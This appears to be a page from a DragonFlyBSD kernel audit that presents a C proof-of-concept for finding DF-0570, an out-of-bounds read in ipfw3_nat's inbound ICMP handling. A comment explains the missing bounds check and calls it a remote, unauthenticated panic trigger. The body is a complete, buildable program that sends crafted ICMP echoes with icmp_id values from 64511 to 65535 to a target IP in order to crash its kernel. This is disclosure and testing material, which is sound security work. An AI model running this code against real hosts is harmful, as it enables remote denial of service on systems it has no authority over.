DragonFlyBSD Kernel Audit
DF-0570 / df0570_oob_trigger.c
← back to finding ↓ download raw
/*
 * DF-0570 — ipfw3_nat inbound OOB-read trigger (ICMP variant).
 *
 * Bug: sys/net/ipfw3_nat/ip_fw3_nat.c:215
 *   old_port = &L3HDR(struct icmp, ip)->icmp_id;
 *   s2 = alias->icmp_in[*old_port];          <-- NO bounds check, NO ntohs,
 *                                                NO -ALIAS_BEGIN subtraction
 * icmp_in[] has ALIAS_RANGE (64511) entries [0..64510].  An inbound ICMP
 * echo whose raw icmp_id is in [64511..65535] indexes PAST the end of the
 * cfg_alias allocation (~1.5 MB).  That read either:
 *   - faults on an unmapped page (kernel page fault -> panic), or
 *   - returns non-NULL heap residue which is then dereferenced at line 335
 *     (s2->alias_addr) -> wild pointer deref -> panic.
 *
 * The s2==NULL guard at line 221 runs AFTER the OOB read, so it cannot
 * prevent the out-of-bounds access.
 *
 * THREAT MODEL: this is a REMOTE, unauthenticated trigger.  Any host that
 * can deliver a packet to the NAT alias IP sends a crafted ICMP echo and
 * indexes the kernel heap.  No account on the box is required.  This PoC
 * runs as root on the box only to SIMULATE the remote attacker's packet
 * (raw ICMP sockets need privilege on the receiver); the exploit itself is
 * unprivileged from the attacker's perspective.
 *
 * Build:  cc -O2 -o df0570_oob df0570_oob_trigger.c
 * Run:    ./df0570_oob <alias_ip>            (default 10.0.2.15)
 */
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

static uint16_t cksum(const void *data, int len)
{
    const uint16_t *p = data;
    uint32_t s = 0;
    while (len > 1) { s += *p++; len -= 2; }
    if (len == 1) s += *(const uint8_t *)p;
    s = (s >> 16) + (s & 0xffff);
    s += (s >> 16);
    return (uint16_t)(~s);
}

int main(int argc, char **argv)
{
    const char *dst = (argc > 1) ? argv[1] : "10.0.2.15";
    int start = (argc > 2) ? atoi(argv[2]) : 64511;
    int end   = (argc > 3) ? atoi(argv[3]) : 65535;
    int s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (s < 0) { perror("socket(ICMP_RAW)"); return 2; }

    struct sockaddr_in d;
    memset(&d, 0, sizeof d);
    d.sin_family = AF_INET;
    inet_aton(dst, &d.sin_addr);

    printf("DF-0570: sending ICMP echo to %s with icmp_id in [%d..%d]\n",
           dst, start, end);
    printf("         each indexes icmp_in[id] (size %d) WITHOUT bounds check\n",
           64511);

    int sent = 0;
    for (int id = start; id <= end; id++) {
        struct icmp ic;
        memset(&ic, 0, sizeof ic);
        ic.icmp_type = ICMP_ECHO;
        ic.icmp_code = 0;
        ic.icmp_id   = htons((uint16_t)id);   /* on-wire id -> LE read == id */
        ic.icmp_seq  = htons(1);
        ic.icmp_cksum = 0;
        ic.icmp_cksum = cksum(&ic, sizeof ic);

        int n = sendto(s, &ic, sizeof ic, 0,
                       (struct sockaddr *)&d, sizeof d);
        if (n < 0 && errno != ENOBUFS) {
            printf("  id=%d sendto: %s\n", id, strerror(errno));
        } else {
            sent++;
        }
        /* tiny pause so a panic isn't drowned in a burst */
        if (sent % 256 == 0) usleep(20000);
    }
    close(s);
    printf("DF-0570: sent %d crafted ICMP echo packets.\n", sent);
    printf("If the kernel faults on the OOB read, boot.log holds a panic "
           "and the guest stops answering.\n");
    return 0;
}